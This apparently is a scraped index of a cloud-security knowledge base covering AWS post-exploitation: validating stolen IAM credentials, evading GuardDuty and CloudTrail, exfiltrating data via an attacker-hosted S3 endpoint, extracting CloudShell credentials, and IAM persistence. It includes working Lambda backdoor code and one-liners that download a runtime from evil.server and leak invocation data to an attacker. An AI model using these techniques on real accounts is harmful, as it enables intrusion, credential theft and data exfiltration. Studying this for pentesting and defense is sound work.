      Now that you have credentials and have them setup to use, how can you determine if they are valid (not expired or deactivated)? The simplest way would be to make use of the sts:GetCallerIdentity API call. This method is helpful because it will allow us to determine if the credentials are valid and it will also tell us useful information such as the name of the role/user associated with these credentials and the AWS account ID they belong to.

      As an added bonus, we can be confident this API call will always work. From the documentation, \"No permissions are required to perform this operation. If an administrator adds a policy to your IAM user or role that explicitly denies access to the sts:GetCallerIdentity action, you can still perform this operation\".

      $ aws sts get-caller-identity\n{\n    \"UserId\": \"AROAEXAMPLEEXAMPLEEXA:Nick\",\n    \"Account\": \"123456789123\",\n    \"Arn\": \"arn:aws:sts::123456789123:assumed-role/blah/Nick\"\n}\n

      Tip

      For defensive security professionals, it may be worthwhile to alert on invocations of sts:GetCallerIdentity from identities that have no history of calling it. For example, if an application server in a production environment has never called it before, that may be an indication of compromise.

      It is worth noting that sts:GetCallerIdentity may be legitimately used by a large number of projects, and that individual developers may use it as well. To attempt to reduce the number of false positives, it would be best to only alert on identities which have no history of calling it.

      "},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#operational-security-considerations","title":"Operational Security Considerations","text":"

      If you are attempting to maintain stealth, sts:GetCallerIdentity may be a risk. This API call logs to CloudTrail which means that defenders will have a log with additional details that this occurred. To get around this, we can make use of data events.

      Data events are high-volume API calls for resources in an AWS account. Because of the number of times these APIs may be called, they are not logged to CloudTrail by default and in some cases they cannot be logged at all.

      An example of this would be sqs:ListQueues. By making this API call we can get similar information to sts:GetCallerIdentity without the risk of logging to CloudTrail.

      user@host:~$ aws sqs list-queues\n\nAn error occurred (AccessDenied) when calling the ListQueues operation: User: arn:aws:sts::123456789012:assumed-role/no_perms/no_perms is not authorized to perform: sqs:listqueues on resource: arn:aws:sqs:us-east-1:123456789012: because no identity-based policy allows the sqs:listqueues action\n

      For more information on this technique, please see its article.

      "},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#avoiding-detection","title":"Avoiding Detection","text":"

      There are situations where simply using the credentials could alert defenders to your presence. As a result, it is a good idea to be mindful of these circumstances to avoid being caught.

      "},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#guardduty-pentest-findings-and-cli-user-agents","title":"GuardDuty Pentest Findings and CLI User Agents","text":"

      If you are using a \"pentesting\" Linux distribution such as Kali Linux, Parrot Security, or Pentoo Linux you will immediately trigger a PenTest GuardDuty finding. This is because the AWS CLI will send along a user agent string which contains information about the operating system making the API call.

      In order to avoid this, it is best to make use of a \"safe\" operating system, such as Windows, Mac OS, or Ubuntu. If you are short on time, or simply MUST use one of these Linux distributions, you can modify your botocore library with a hard-coded user agent.

      Tip

      Are you going up against an apex blue team who will detect anything? It may be a good idea to spoof a user agent string that one would expect in the environment. For example, if these IAM credentials belong to a developer who uses a Windows workstation, it would be very strange for API calls to suddenly start having a user agent with a Linux operating system.

      Defenders, this may also be worth looking into for detection purposes.

      For more information on this, please see its article.

      "},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#guardduty-credential-exfiltration","title":"GuardDuty Credential Exfiltration","text":"

      Note

      This section only applies to IAM credentials taken from the Instance Metadata Service of an EC2 instance. It does not apply to other IAM credentials.

      When using IAM credentials taken from an EC2 instance, you run the risk of triggering the UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS GuardDuty finding. This finding alerts on scenarios in which IAM credentials from an EC2 instance are used from outside AWS (E.X your home IP address).

      This is particularly relevant in scenarios in which you have access to the IAM credentials, but not the host (Server Side Request Forgery).

      To get around this, we can make use of VPC Endpoints which will not trigger this alert. To make things easier, the SneakyEndpoints tool was developed to allow you to quickly stand up infrastructure to bypass this detection.

      For more information on this, please see its article.

      "},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#situational-awareness","title":"Situational Awareness","text":"

      Now that you have everything set up and you know what to look out for, your next question may be, \"what is in this AWS account?\". If you are performing a no-knowledge assessment, and thus, don't have any insights into what services are running in the account, it makes it difficult to know what to target or look into.

      One option would be to enumerate the service-linked roles in the account. A service-linked role is a special kind of IAM role that allows an AWS service to perform actions in your account. Because of this, we can potentially enumerate them without authentication.

      From the previous validity checking step, we will know the AWS account ID we are operating in. That, combined with this technique will allow us to enumerate what services the AWS account uses. This can be helpful to answer questions such as, \"Is our target using GuardDuty? Is this account a part of an organization? Are they using containers (ECS, EKS), or are they using EC2?\".

      For more information on this, please see its article.

      "},{"location":"aws/post_exploitation/create_a_console_session_from_iam_credentials/","title":"Create a Console Session from IAM Credentials","text":"
      • Technique seen in the wild

        Reference: Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies

      • Tools mentioned in this article

        aws-vault: A vault for securely storing and accessing AWS credentials in development environments.

        aws_consoler: A utility to convert your AWS CLI credentials into AWS console access.

        Pacu: The AWS exploitation framework, designed for testing the security of Amazon Web Services environments.

      When performing an AWS assessment you will likely encounter IAM credentials. These credentials can be used with the AWS CLI or other tooling to query the AWS API.

      While this can be useful, sometimes you just can't beat clicking around the console. If you have IAM credentials, there is a way that you can spawn an AWS Console session using a tool such as aws-vault. This can make certain actions much easier rather than trying to remember the specific flag name for the AWS CLI.

      Note

      If you are using temporary IAM credentials (ASIA...), for example, from an EC2 instance, you do not need to have any special IAM permissions to do this. If you are using long-term credentials (AKIA...), you need to have either sts:GetFederationToken or sts:AssumeRole permissions. This is to generate the temporary credentials you will need.

      Tip

      If you are attempting to avoid detection, this technique is not recommended. Aside from the suspicious ConsoleLogin CloudTrail log, and the odd user-agent (Ex: Why is the IAM role associated with the CI/CD server using a Firefox user-agent string?), you will also generate a ton of CloudTrail logs.

      "},{"location":"aws/post_exploitation/create_a_console_session_from_iam_credentials/#using-aws-vault","title":"Using aws-vault","text":"

      To start, export the relevant environment variables for the IAM credentials you have. Next, install aws-vault.

      From here, perform the following commands depending on the type of credentials you have.

      "},{"location":"aws/post_exploitation/create_a_console_session_from_iam_credentials/#user-credentials","title":"User Credentials","text":"

      For long-term credentials (Those starting with AKIA), there is an extra step that must be completed first. You will need to generate temporary credentials to retrieve the sign in token. To do this, we will make use of sts:GetFederationToken. As an alternative, sts:AssumeRole can also be used.

      aws sts get-federation-token --name blah\n

      This will return temporary IAM credentials that you can use with the next step.

      "},{"location":"aws/post_exploitation/create_a_console_session_from_iam_credentials/#sts-credentials","title":"STS Credentials","text":"

      For short-term credentials (Those starting with ASIA), you can run the following command:

      aws-vault login\n

      Tip

      If you'd like to generate a link without it automatically opening a new tab in your browser you can use the -s flag and it will be printed to stdout.

      To learn more about custom identity broker access to the AWS Console please see the official documentation.

      "},{"location":"aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/","title":"Download Tools and Exfiltrate Data with the AWS CLI","text":"
      • Technique seen in the wild

        Reference: SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto

      In an attempt to be stealthy, threat actors will often \"live off the land\", using tools and scripts already existing on a host machine outside of their intended purpose. This can help them avoid detection by blending in with their surroundings.

      In AWS environments, it is common to find servers which have the AWS CLI installed (It is included by default in Amazon Linux). This makes it an excellent choice for adversaries to move data around, avoiding more common tools like curl or Wget which may be monitored for suspicious uses.

      As seen in the wild by the SCARLETEEL threat actor, the AWS CLI can be used to download and exfiltrate data using an attacker-hosted backend. You can host an S3 compatible object store such as MinIO and then use the --endpoint-url flag to interact with that service. This makes it easy to download tools, exfiltrate compromised data and more.

      $ aws s3 ls --endpoint-url https://attacker.s3.store\n2023-07-13 02:06:30 criminalbucket\n2023-07-13 22:01:36 exfiltrated-data\n

      Tip

      As mentioned by Jesse Lepich, a layer 7 firewall like the AWS Network Firewall can be used to limit access to non-allowlisted domains.

      "},{"location":"aws/post_exploitation/get_iam_creds_from_console_session/","title":"Get IAM Credentials from a Console Session","text":"
      • Original Research

        Retrieving AWS security credentials from the AWS consoletitle by Christophe Tafani-Dereeper

      When performing a penetration test or red team assessment, it is not uncommon to gain access to a developer's machine. This presents an opportunity for you to jump into AWS infrastructure via credentials on the system. For a myriad of reasons you may not have access to credentials in the .aws folder, but instead have access to their browser's session cookies (for example via cookies.sqlite in FireFox).

      Gaining access to the Console is great, but it may not be ideal. You may want to use certain tools that would instead require IAM credentials.

      To get around this, we can leverage CloudShell. CloudShell exposes IAM credentials via an undocumented endpoint on port 1338. After loading session cookies from the victim into your browser, you can navigate to CloudShell and issue the following commands to get IAM credentials.

      [user@cloudshell]$ TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H \"X-aws-ec2-metadata-token-ttl-seconds: 60\")\n\n[user@cloudshell]$ curl localhost:1338/latest/meta-data/container/security-credentials -H \"X-aws-ec2-metadata-token: $TOKEN\"\n

      Alternatively, you can run the following command, which returns credentials with a short TTL (roughly 15m).

      [user@cloudshell]$ aws configure export-credentials --format env\n
      "},{"location":"aws/post_exploitation/iam_persistence/","title":"AWS IAM Persistence Methods","text":"

      After gaining a foothold in an AWS environment, an attacker may attempt to establish persistence. Doing this will allow them to return to the account later on to continue their activities. This article is a collection of such persistence techniques. It's worth noting at the time of writing, that this is a small subset of the world of possibilities available to an attacker, and more techniques will be added over time.

      More complex methods that require additional explanation will link to their respective Hacking the Cloud articles.

      "},{"location":"aws/post_exploitation/iam_persistence/#iam-user-access-keys","title":"IAM User Access Keys","text":"
      • Technique seen in the wild

        • SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto
        • Unmasking GUI-Vil: Financially Motivated Cloud Threat Actor
      • Required IAM Permission

        • iam:CreateAccessKey

      AWS IAM users can create pairs of access keys to programmatically interact with the AWS API. These credentials can be used with the AWS CLI and allow those with access to those credentials to perform actions as the associated user.

      Access keys created this way are long lived (starting with AKIA), meaning that they do not time out or expire by default. Because of this, creating access keys for a user you'd like to maintain access to can be an incredibly simple and easy form of persistence in an AWS environment.

      Tip

      Aside from the opportunity to maintain persistence in an AWS environment, iam:CreateAccessKey can also potentially be used for lateral movement to create credentials for other users.

      "},{"location":"aws/post_exploitation/iam_persistence/#iam-user-login-profile","title":"IAM User Login Profile","text":"
      • Technique seen in the wild

        • Unmasking GUI-Vil: Financially Motivated Cloud Threat Actor
      • Required IAM Permission

        • iam:CreateLoginProfile

      AWS IAM users can be configured to access the AWS console with a username and password. An adversary with the iam:CreateLoginProfile permission can create login profiles for other users (specifying the password of their choosing). Through this method an adversary can maintain access to an IAM user by logging into the AWS console and performing operations from there.

      "},{"location":"aws/post_exploitation/iam_persistence/#iam-role-assume-role-policy","title":"IAM Role Assume Role Policy","text":"
      • Required IAM Permission

        • iam:UpdateAssumeRolePolicy

      In order to assume an IAM role, a role trust policy must be attached to it. This policy specifies the identities that are permitted to assume the role.

      An adversary could invoke iam:UpdateAssumeRolePolicy, specifying that their own, attacker-controlled AWS account is permitted to assume the role in the environment. This would allow the adversary to maintain access to that role, and use it when needed.

      {\n  \"Version\": \"2012-10-17\",\n  \"Statement\": {\n    \"Effect\": \"Allow\",\n    \"Action\": \"sts:AssumeRole\",\n    \"Resource\": \"arn:aws:iam::<attacker_aws_account_id>:role/secret_admin\"\n  }\n}\n

      Tip

      For the defensive side; it is a good idea to regularly audit role trust policies that establish trust with AWS accounts outside of your organization. In most cases, this will likely identify SaaS and vendor AWS accounts, however it may turn up something much more nefarious.

      "},{"location":"aws/post_exploitation/iam_persistence/#survive-access-key-deletion-with-stsgetfederationtoken","title":"Survive Access Key Deletion with sts:GetFederationToken","text":"
      • Technique Article

        • Survive Access Key Deletion with sts:GetFederationToken
      "},{"location":"aws/post_exploitation/iam_persistence/#ec2-instance-persistence","title":"EC2 Instance Persistence","text":"

      EC2 instances which have an IAM role attached to them will have their own instance metadata service (IMDS) available. If an adversary has code execution on the EC2 instance, or is able to abuse server side request forgery in an application running on the host, they can steal IAM credentials from the IMDS.

      By maintaining access to an EC2 instance which has a role with the permissions you want, this can be an effective and quiet method to keep access to an AWS environment. No additional API calls are required to use those credentials.

      "},{"location":"aws/post_exploitation/iam_persistence/#lambda-persistence","title":"Lambda Persistence","text":"
      • Technique Article

        • Lambda Persistence
      "},{"location":"aws/post_exploitation/iam_persistence/#user-data-script-persistence","title":"User Data Script Persistence","text":"
      • Technique Article

        • User Data Script Persistence
      "},{"location":"aws/post_exploitation/intercept_ssm_communications/","title":"Intercept SSM Communications","text":"
      • Original Research

        Intercept SSM Agent Communications by Nick Frichette

      • Tools mentioned in this article

        ssm-agent-research

      The SSM Agent is responsible for allowing EC2 instances to communicate with SSM services. The agent authenticates with SSM via the IAM role and the credentials in the Metadata Service. As a result, if you gain access to an EC2 instance or its IAM credentials you can spoof the agent and intercept EC2 Messages and SSM Sessions.

      For an in depth explanation of how this works, please see the original research.

      Warning

      The tools used in this page are proof of concept, and should not be used for serious use cases. If you create or find a more production-ready tool please open an issue.

      "},{"location":"aws/post_exploitation/intercept_ssm_communications/#intercept-ec2-messages","title":"Intercept EC2 Messages","text":"

      The normal operations of the SSM Agent is to poll for messages it has been sent. We can abuse this functionality by frequently polling ourselves. Doing so, will increase the likelihood (to a near guarantee) that we receive the messages before the real SSM agent does.

      By abusing this functionality we can intercept the EC2 messages and response with our own output, allowing us to force a \"Success\" response.

      Using the ssm-send-command-interception.py PoC:

      "},{"location":"aws/post_exploitation/intercept_ssm_communications/#intercept-ssm-sessions","title":"Intercept SSM Sessions","text":"

      Normally the SSM Agent will spawn a WebSocket connection back to SSM. This first WebSocket is the control channel and is responsible for spawning the data channels (which actually process the information). Due to this setup, we can spawn our own control channel and intercept all incoming connections. This can allow us to intercept or modify the communications happening, and potentially allow us to intercept sensitive commands and credentials.

      Using the ssm-session-interception.py PoC:

      "},{"location":"aws/post_exploitation/lambda_persistence/","title":"Lambda Persistence","text":"
      • Original Research

        Gaining Persistency on Vulnerable Lambdas by Yuval Avrahami

      • Additional Resources

        Revisiting Lambda Persistence

      Warning

      Depending on the specific runtime and tools available, you will likely have to change the approach taken to gain persistence in a Lambda function. The general concepts should serve as a guide for a more specific attack you develop.

      After finding a remote code execution vulnerability in a Lambda function, you'll probably want to establish persistence. The steps to do this will depend on the specific runtime that is being used by the Lambda function. Below the Python and Ruby runtimes are used as an example.

      Note

      See the \"Creating a Listener\" section at the bottom of this page for how to setup a listener for exfiltrated data.

      "},{"location":"aws/post_exploitation/lambda_persistence/#python-runtime","title":"Python Runtime","text":"

      After identifying that your target is using the Python runtime, you'll need a copy of the /var/runtime/bootstrap.py file. You can get this by either creating your own Lambda function and copying it, or by leaking it from the target Lambda function.

      Next, you'll want to modify this runtime with some logic to backdoor it. This can be simply done with a few lines such as the following:

      Note

      You can customize what the backdoor does, depending on what you're looking to do. Maybe you want to leak a specific user's data. Maybe you just want Cookies. It's up to you!

      With the bootstrap.py file backdoored, you'll want to host it in a location that is accessible for the Lambda function to pull down.

      The next step is creating a one-liner to pull down this modified code, as well as to terminate the current event in the Runtime API. This can be done by posting to a specific endpoint with the current request ID. All together, that code should look something like this:

      import urllib3\nimport os\nhttp = urllib3.PoolManager()\n\n# Writing the new bootstrap to a file\nr = http.request('GET', 'https://evil.server/bootstrap.py')\nw = open('/tmp/bootstrap.py', 'w')\nw.write(r.data.decode('utf-8'))\nw.close()\n\n# Getting the current request ID\nr = http.request('GET', 'http://127.0.0.1:9001/2018-06-01/runtime/invocation/next')\nrid = r.headers['Lambda-Runtime-Aws-Request-Id']\n\n# End the current event\nhttp.request('POST', f'http://127.0.0.1:9001/2018-06-01/runtime/invocation/{rid}/response', body='null', headers={'Content-Type':'application/x-www-form-urlencoded'})\n\n# Swap the runtimes\nos.system('python3 /tmp/bootstrap.py')\n

      Or as a long one-liner (don't forget to change the hostname):

      python3 -c \"import urllib3;import os;http = urllib3.PoolManager();r = http.request('GET', 'https://evil.server/bootstrap.py');w = open('/tmp/bootstrap.py', 'w');w.write(r.data.decode('utf-8'));w.close();r = http.request('GET', 'http://127.0.0.1:9001/2018-06-01/runtime/invocation/next');rid = r.headers['Lambda-Runtime-Aws-Request-Id'];http.request('POST', f'http://127.0.0.1:9001/2018-06-01/runtime/invocation/{rid}/response', body='null', headers={'Content-Type':'application/x-www-form-urlencoded'});os.system('python3 /tmp/bootstrap.py')\"\n

      From here on, all subsequent events should be leaked to the attacker. Remember that if the Lambda function is not used for 5-15 minutes, it will become \"cold\" and you will lose access to the persistence you've established. You can execute the function again to keep it \"warm\" or you can simply reestablish persistence.

      "},{"location":"aws/post_exploitation/lambda_persistence/#ruby-runtime","title":"Ruby Runtime","text":"

      After identifying that your target is using the Python runtime, you\u2019ll need a copy of the /var/runtime/lib/runtime.rb file. You can get this by either creating your own Lambda function and copying it, or by leaking it from the target Lambda function.

      Next, you\u2019ll want to modify this runtime with some logic to backdoor it. This can be simply done with a few lines such as the following:

      With the runtime.rb file backdoored, you\u2019ll want to host it in a location that is accessible for the Lambda function to pull down. Note, you'll likely want to rename it to something like run.rb. This is because you'll want to create a symbolic link between everything in /var/runtime/lib to /tmp. This will ensure your modified runtime.rb file can access all the additional libraries it needs.

      The next step is creating a one-liner to create those symbolic links, pull down this modified code, and execute it as well as to terminate the current event in the Runtime API. This can be done by posting to a specific endpoint with the current request ID. All together, that code should look something like this:

      require 'net/http'\n\n# Writing the new runtime to a file\nuri = URI('https://evil.server/run.rb')\nr = Net::HTTP.get_response(uri)\nFile.write('/tmp/run.rb', r.body)\n\n# Getting the current request ID\nuri = URI('http://127.0.0.1:9001/2018-06-01/runtime/invocation/next')\nr = Net::HTTP.get_response(uri)\nrid = r.header['Lambda-Runtime-Aws-Request-Id']\n\n# End the current request\nuri = URI('http://127.0.0.1:9001/2018-06-01/runtime/invocation/'+rid+'/response')\nNet::HTTP.post(uri, 'null')\n

      Or as a long one-liner (don\u2019t forget to change the hostname, create the symbolic links, or execute the code in the background):

      ln -s /var/runtime/lib/* /tmp && ruby -e \"require 'net/http';uri = URI('https://evil.server/run.rb');r = Net::HTTP.get_response(uri);File.write('/tmp/run.rb', r.body);uri = URI('http://127.0.0.1:9001/2018-06-01/runtime/invocation/next');r = Net::HTTP.get_response(uri);rid = r.header['Lambda-Runtime-Aws-Request-Id'];uri = URI('http://127.0.0.1:9001/2018-06-01/runtime/invocation/'+rid+'/response');Net::HTTP.post(uri, 'null')\" && ruby /tmp/run.rb &\n

      From here on, all subsequent events should be leaked to the attacker. Remember that if the Lambda function is not used for 5-15 minutes, it will become \u201ccold\u201d and you will lose access to the persistence you\u2019ve established. You can execute the function again to keep it \u201cwarm\u201d or you can simply reestablish persistence.

      "},{"location":"aws/post_exploitation/lambda_persistence/#creating-a-listener","title":"Creating a Listener","text":"

      How you receive leaked events is up to you. The author found that the simplest way was via post requests to an Nginx server. The configuration was simple. First, outside of the server block, include a line like log_format postdata $request_body.

      Next, include the following inside the server block:

      location = /post {\n    access_log /var/log/nginx/postdata.log postdata;\n    proxy_pass http://127.0.0.1/post_extra;\n}\nlocation = /post_extra {\n    access_log off;\n    return 200;\n}\n

      After restarting Nginx, all logs received via post requests should be stored in /var/log/nginx/postdata.log.

      "},{"location":"aws/post_exploitation/role-chain-juggling/","title":"Role Chain Juggling","text":"
      • Original Research

        Daniel Heinsen

      • Tools mentioned in this article

        AWSRoleJuggler

      When doing an assessment in AWS you may want to maintain access for an extended period of time. You may not have the ability to create a new IAM user, or create a new key for existing users. How else can you extend your access? Role Chain Juggling.

      Role chaining is a recognized functionality of AWS in that you can use one assumed role to assume another one. When this happens the expiration field of the credentials is refreshed. This allows us to keep refreshing credentials over an over again.

      Through this, you can extend your access by chaining assume-role calls.

      Note

      You can chain the same role multiple times so long as the Trust Policy is configured correctly. Additionally, finding roles that can assume each other will allow you to cycle back and forth.

      To automate this work Daniel Heinsen developed a tool to keep the juggling going.

      user@host:$ ./aws_role_juggler.py -h\nusage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]\n
      "},{"location":"aws/post_exploitation/run_shell_commands_on_ec2/","title":"Run Shell Commands on EC2 with Send Command or Session Manager","text":"

      After escalating privileges in a target AWS account or otherwise gaining privileged access you may want to run commands on EC2 instances in the account. This article hopes to provide a quick and referenceable cheat sheet on how to do this via ssm:SendCommand or ssm:StartSession.

      Tip

      By default, the commands that are issued are not logged to CloudTrail. Specifically they are \"HIDDEN_DUE_TO_SECURITY_REASONS\". As a result, if an adversary were to leverage this tactic against an environment, defenders would need to get information about those commands from host based controls. Defenders, this is an excellent capability to validate. Alternatively, offensive security teams can do the testing.

      "},{"location":"aws/post_exploitation/run_shell_commands_on_ec2/#send-command","title":"Send Command","text":"
      • Required IAM Permissions

        • ssm:SendCommand
      • Recommended but not Required IAM Permissions

        • ssm:ListCommandInvocations
        • ec2:DescribeInstances

      You can send arbitrary shell commands to EC2 instances from the AWS CLI via the following:

      aws ssm send-command \\\n--instance-ids \"i-00000000000000000\" \\\n--document-name \"AWS-RunShellScript\"\n--parameters commands=\"*shell commands here*\"\n

      If you're just looking to run a quick C2 payload, or perhaps create a new user this will likely be enough. However, if you also want to retrieve the output of the command you will need to make a ssm:ListCommandInvocations call as well.

      If you would like to retrieve the output, make a note of the CommandId returned to you in the Send Command call. After a short period of time (to let the command run) you can use this Id to lookup the results. You can do this with the following:

      aws ssm list-command-invocations \\\n--command-id \"command_id_guid\" \\\n--details\n

      Note

      The --details is required to view the output of the command.

      The output of the command will be in the Output section under CommandPlugins.

      "},{"location":"aws/post_exploitation/run_shell_commands_on_ec2/#session-manager","title":"Session Manager","text":"
      • Required IAM Permissions

        • ssm:StartSession

      If instead you'd like a more interactive shell experience, you can make use of Session Manager. Session Manager allows you to have an SSH-esc experience, making it easy to interact with EC2 instances.

      To begin, you will first need to install the SSM Session Manager Plugin. The specifics of this will depend on what operating system you are using.

      With that installed, you can then run the following command to start an interactive session.

      aws ssm start-session --target instance-id\n
      "},{"location":"aws/post_exploitation/s3_acl_persistence/","title":"S3 File ACL Persistence","text":""},{"location":"aws/post_exploitation/s3_acl_persistence/#requirements","title":"Requirements","text":"

      For this scenario to work, you will need to have s3:PutBucketAcl, s3:PutObjectAcl, or PutObjectVersionAcl on the target s3 bucket or associated object.

      "},{"location":"aws/post_exploitation/s3_acl_persistence/#purpose","title":"Purpose","text":"

      When doing an assessment in AWS you may want to maintain access for an extended period of time, but you may not have the ability to create a new IAM user, create a new key for existing users, or even perform IAM role-chain juggling. How else can you extend your access? By backdooring key S3 resources using S3 Access Control Lists (ACLs).

      "},{"location":"aws/post_exploitation/s3_acl_persistence/#background-on-sensitive-s3-use-cases","title":"Background on Sensitive S3 Use Cases","text":"

      Many organizations have grown to use AWS S3 to store Terraform state files, CloudFormation Templates, SSM scripts, application source code, and/or automation scripts used to manage specific account resources (EC2 instances, Lambda Functions, etc.) During post-exploitation, you may identify opportunities to access these resources. Provisioning write, or in some cases read only access to these resources, may provide persistent access to credentials for the AWS account and/or resources provisioned in the account. Furthermore, write access specifically may allow an attacker to update configuration files, source code for applications, and/or automation code that modifies downstream resources in the account. On the next update/execution of the relevant data/code, this may allow an attacker to further extend access to other resources in the account, or even beyond the specific AWS account accessed. This brings us to the method: S3 ACL Access Control.

      "},{"location":"aws/post_exploitation/s3_acl_persistence/#technique","title":"Technique","text":"

      S3 ACL Access Control is a recognized functionality of AWS in that you can use an access control list to allow access to S3 buckets from outside your own AWS account without configuring an Identity-based or Resource-based IAM policy. While many organizations may be prepared to alert on S3 buckets made public via resource policy, this alerting may not extend to capabilities associated with bucket or object ACLs. Furthermore, subtler configurations that expose bucket or object resources to other accounts via ACLs may go undetected by organizations, even those with strong alerting capabilities. Using these permissions, you can extend your access by allowing other AWS accounts you control to read or write objects, buckets, and bucket ACLs. Furthermore, the access can be extended to AUTHENTICATED USERS, which is a term AWS uses to describe any AWS IAM principal in any other AWS account. The access can also be extended to ANY USER which is a term AWS uses to describe anonymous access that does not require authentication.

      "},{"location":"aws/post_exploitation/s3_acl_persistence/#key-considerations","title":"Key Considerations","text":"
      1. Bucket Public Access Block will prevent S3 bucket ACLs from being configured to allow public (ANY USER) access. If configured, it will provide some limitations to this technique. It does not, however, block the sharing of an s3 object to a specific account, due to what AWS classifes as 'public'.
      2. ACLs for Buckets or objects can be disabled at the bucket level, which would mandate the bucket owner as the object owner no matter who uploads the object. From April 2023, AWS will make this the default for all newly created buckets.
      "},{"location":"aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/","title":"Survive Access Key Deletion with sts:GetFederationToken","text":"
      • Technique seen in the wild

        • How Adversaries Can Persist with AWS User Federation
      • Required IAM Permission

        • sts:GetFederationToken

      After identifying that access keys have been compromised by an adversary, defenders will often immediately deactivate or delete those credentials. This is a good practice as it theoretically disables an adversary's access to the environment. However, it is important to know that an adversary can still use credentials generated from sts:GetFederationToken, even if the original access keys have been deleted.

      sts:GetFederationToken is an API that can be invoked by IAM users and returns a set of temporary (ASIA...) IAM credentials. These credentials can be used normally through the CLI with 2 exceptions. From the documentation:

      • You cannot call any IAM operations using the AWS CLI or the AWS API.
      • You cannot call any AWS STS operations except sts:GetCallerIdentity.

      However, it is important to note that these limitations do not apply if an attacker generates a console session from IAM credentials. By using the AWS console you could interact with the IAM service and perform actions such as privilege escalation, maintaining persistence, etc.

      Tip

      If you are attempting to avoid detection, generating a console session from IAM credentials is NOT advised. There are numerous IoCs which may trigger alerts, such as a suspicious user-agent and the ConsoleLogin CloudTrail event. If at all possible, only use the IAM credentials generated from sts:GetFederationToken in the CLI.

      To create temporary IAM credentials using sts:GetFederationToken, you can use the following CLI command:

      aws sts get-federation-token \\\n--name your_choice \\\n--policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess \\\n--duration-seconds 129600\n

      Warning

      While all 3 parameters are configurable by the attacker, keep in mind the potential for detection based on this. For instance, in a highly monitored environment, would the use of the AdministratorAccess policy raise suspicions? What about an extremely long lived session?

      It is important to note that the provided policy-arns will use the intersection of the permissions that were passed. Meaning that if the user has no permissions, passing the AdministratorAccess policy will not provide it admin access to the account. This can, however, be helpful if you don't know what level of privilege you've compromised. By passing a highly privileged policy, you will ensure you will get the full access afforded to the identity.

      Tip

      In addition to passing a policy ARN, you can also pass an inline policy, which may be helpful to avoid suspicious use of certain policies.

      For defenders, in addition to deactivating or deleting IAM user access keys, it may be worthwhile to attach a \"DenyAll\" policy to the compromised user. This would ensure that even if an adversary was using this technique, they would not be able to use their generated credentials.

      It is also advisable to determine how common the use of sts:GetFederationToken is in your environments and alert on its use, or implement a Service Control Policy to prevent it.

      "},{"location":"aws/post_exploitation/user_data_script_persistence/","title":"User Data Script Persistence","text":"

      When using EC2 instances a common design pattern is to define a user data script to be run when an instance is first started or after a reboot. These scripts are typically used to install software, download a config, etc. Additionally these scripts are run as root or System which makes them even more useful. Should we gain access to an EC2 instance we may be able to persist by abusing user data scripts via two different methods.

      "},{"location":"aws/post_exploitation/user_data_script_persistence/#modify-the-user-data-script","title":"Modify the User Data Script","text":"
      • Required IAM Permissions

        • modify-instance-attribute
      • Recommended but not Required IAM Permissions

        • ec2:StartInstances
        • ec2:DescribeInstances
        • ec2:StopInstances

      If we have permission to directly modify the user data scripts, we can potentially persist by adding our own backdoor to it. To do this, we must stop the instance because user data scripts can only be modified when the instance is stopped. You could theoretically wait for this to happen naturally, have a script that constantly tries to modify it, or stop it yourself if you have permissions to do so.

      The steps to modify user data scripts can be found here.

      "},{"location":"aws/post_exploitation/user_data_script_persistence/#modify-a-resource-called-by-the-script","title":"Modify a Resource Called by the Script","text":"

      In situations where we cannot modify the user data script itself, we may be able to modify a resource called by the script. Say for example a script is downloaded by an S3 bucket, we may be able to add our backdoor to it.

      "},{"location":"azure/abusing-managed-identities/","title":"Abusing Managed Identities","text":"
      • Original Research

        Create an Azure Vulnerable Lab: Part #4 \u2013 Managed Identities by Andrei Agape

      Using Managed Identities it is possible to grant a resource (such as VM/WebApp/Function/etc) access to other resource (such as Vaults/Storage Accounts/etc.) For example, if we want to give our web application access to a private storage account container without having to deal with how we safely store connection strings in config files or source code, we could use a managed identity.

      Compute Resource --> Managed Identity --> Assigned Role(s) --> Storage Account --> Container\n

      A Managed Identity can be a System or User identity. A System identity is bound to the resource, but a User identity is independent.

      "},{"location":"azure/abusing-managed-identities/#setup-azure-managed-identity","title":"Setup Azure Managed Identity","text":"

      First we enable the managed identity for the web application:

      )

      Once enabled, we are given the possibility to configure the roles assigned for this identity (i.e: permissions granted to the service that we enabled the identity for).

      Lastly, we assign one or more roles (which is a set of permissions) for that identity. A role can be assigned at Subscription level, Resource group, Storage Account, Vault or SQL and it propagates \u201cdownwards\u201d in the Azure architecture layer.

      The default Owner, owning the resource, and Contributor, read/write content of the resource, roles have the most permissions.

      Under each role, we can see in details what permissions are included. Azure also allows the user to configure custom roles in the case that the built-in ones are not suitable for your needs.

      Similarly, to see who has permissions granted for a given resource, we can check under the Access Control (IAM) -> View access to this resource.

      So in our case, we should see under the Storage Account that the web application has Reader and Data Access:

      "},{"location":"azure/abusing-managed-identities/#next-steps","title":"Next steps","text":"

      Now that we have the basics of how Managed Identity works, let\u2019s see how can we exploit this. Since the web application has access to the storage account, and we compromised the web application, we should also be able to gain access to the storage account as well. Simply put, we get the same permissions that compromised resource has assignred to it. Based on how poorly the Identity roles are assigned, it could even be the case that the permissions are assigned at the Subscription level, effectively granting us access to all the resources within the subscription!

      While in our case it appears that the permissions are proper (we are limiting access only to the Storage Account that we need access to) and limit the roles to Reader and Data Access (instead of Contributor or Owner), there is still a caveat that allows us to exploit the access privileges. The web app only requires permissions to access the \"images\" container, however the identity access has been misconfigured and allows the application read permissions for all keys on the storage account. Thus granting the attacker the ability to access any container within the same account.

      "},{"location":"azure/abusing-managed-identities/#exploiting-azure-managed-identity","title":"Exploiting Azure Managed Identity","text":"

